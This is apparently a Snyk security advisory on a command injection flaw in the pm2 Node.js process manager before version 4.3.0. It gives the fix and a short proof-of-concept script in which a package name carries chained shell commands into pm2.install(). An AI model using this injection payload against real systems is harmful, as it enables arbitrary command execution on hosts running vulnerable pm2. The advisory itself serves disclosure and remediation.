Command Injection Affecting pm2 package, versions <4.3.0
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-PM2-474345
- published 25 Oct 2019
- disclosed 24 Oct 2019
- credit bl4de
How to fix?
Upgrade pm2 to version 4.3.0 or higher.
Overview
pm2 is a production process manager for Node.js applications with a built-in load balancer.
Affected versions of this package are vulnerable to Command Injection. It is possible to execute arbitrary commands within the pm2.import() function when tar.gz archive is installed with a name provided as user controlled input.
PoC by bl4de
// pm2_exploit.js
'use strict'
const pm2 = require('pm2')
// payload - user controllable input
const payload = "foo.tar.gz;touch here;echo whoami>here;chmod +x here;./here>whoamreallyare"
pm2.connect(function(err) {
if (err) {
console.error(err)
process.exit(2)
}
pm2.start({
}, (err, apps) => {
pm2.install(payload, {}) // injection
pm2.disconnect()
if (err) {
throw err
}
})
})